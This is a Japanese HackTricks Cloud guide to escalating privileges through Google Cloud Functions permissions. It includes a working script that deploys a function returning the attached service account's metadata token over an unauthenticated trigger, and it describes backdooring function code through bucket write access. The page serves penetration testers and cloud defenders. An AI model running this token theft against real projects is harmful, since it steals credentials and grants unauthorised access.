GCP - Cloudfunctions Privesc
Reading time: 8 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
cloudfunctions
Cloud Functionsに関する詳細情報:
cloudfunctions.functions.create
, cloudfunctions.functions.sourceCodeSet
, iam.serviceAccounts.actAs
これらの権限を持つ攻撃者は、任意の(悪意のある)コードを持つ新しいCloud Functionを作成し、それにService Accountを割り当てることができます。次に、メタデータからService Accountトークンを漏洩させて、その権限を昇格させます。
関数をトリガーするためにいくつかの権限が必要な場合があります。
この方法のためのエクスプロイトスクリプトはこちらとこちらにあり、事前構築された.zipファイルはこちらにあります。
cloudfunctions.functions.update
, cloudfunctions.functions.sourceCodeSet
, iam.serviceAccounts.actAs
これらの権限を持つ攻撃者は、Functionのコードを変更し、トークンを抽出する目的で関連付けられたサービスアカウントを変更することができます。
caution
Cloud Functionsをデプロイするには、デフォルトのコンピュートサービスアカウントまたはイメージを構築するために使用されるサービスアカウントに対するactAs権限も必要です。
バージョン1のcloudfunctionsに対する.call
権限や、関数をトリガーするための役割role/run.invoker
などの追加の権限が必要な場合があります。
# Create new code
temp_dir=$(mktemp -d)
cat > $temp_dir/main.py <<EOF
import subprocess
def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF
echo "" > $temp_dir/requirements.txt
zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt
# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated
# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
caution
Permission 'run.services.setIamPolicy' denied on resource...
というエラーが表示される場合は、--allow-unauthenticated
パラメータを使用しており、十分な権限がないためです。
この方法のエクスプロイトスクリプトは here にあります。
cloudfunctions.functions.sourceCodeSet
この権限を使用すると、関数バケットにファイルをアップロードするための署名付きURLを取得できます(ただし、関数のコードは変更されず、更新する必要があります)
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
あまり攻撃者の視点からこの権限がどれほど有用かはわかりませんが、知っておくのは良いことです。
cloudfunctions.functions.setIamPolicy
, iam.serviceAccounts.actAs
前述の**.update
または.create
**のいずれかの権限を自分に与えて昇格します。
cloudfunctions.functions.update
**cloudfunctions
の権限だけでは、iam.serviceAccounts.actAs
**がないと関数を更新できないため、これは有効な昇格ではありません。
バケットに対する読み取りおよび書き込みアクセス
バケットに対する読み取りおよび書き込みアクセスがある場合、コードの変更を監視でき、バケットで更新が発生したときに新しいコードを自分のコードに更新することができ、Cloud Functionの新しいバージョンは提出されたバックドアコードで実行されます。
攻撃の詳細については、以下を確認できます:
ただし、これを使用して第三者のCloud Functionsを事前に侵害することはできません。なぜなら、アカウントにバケットを作成し、外部プロジェクトが書き込めるように公開権限を与えると、次のエラーが発生します:
 (1) (1).png)
caution
ただし、これはDoS攻撃に使用される可能性があります。
Artifact Registryに対する読み取りおよび書き込みアクセス
Cloud Functionが作成されると、新しいdockerイメージがプロジェクトのArtifact Registryにプッシュされます。新しいイメージでイメージを変更しようとしましたが、現在のイメージ(およびcache
イメージ)を削除しても何も変わらず、Cloud Functionは動作し続けました。したがって、バケットと同様にレースコンディション攻撃を悪用することができるかもしれませんが、保存されたイメージを変更するだけではCloud Functionを侵害することはできません。
参考文献
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。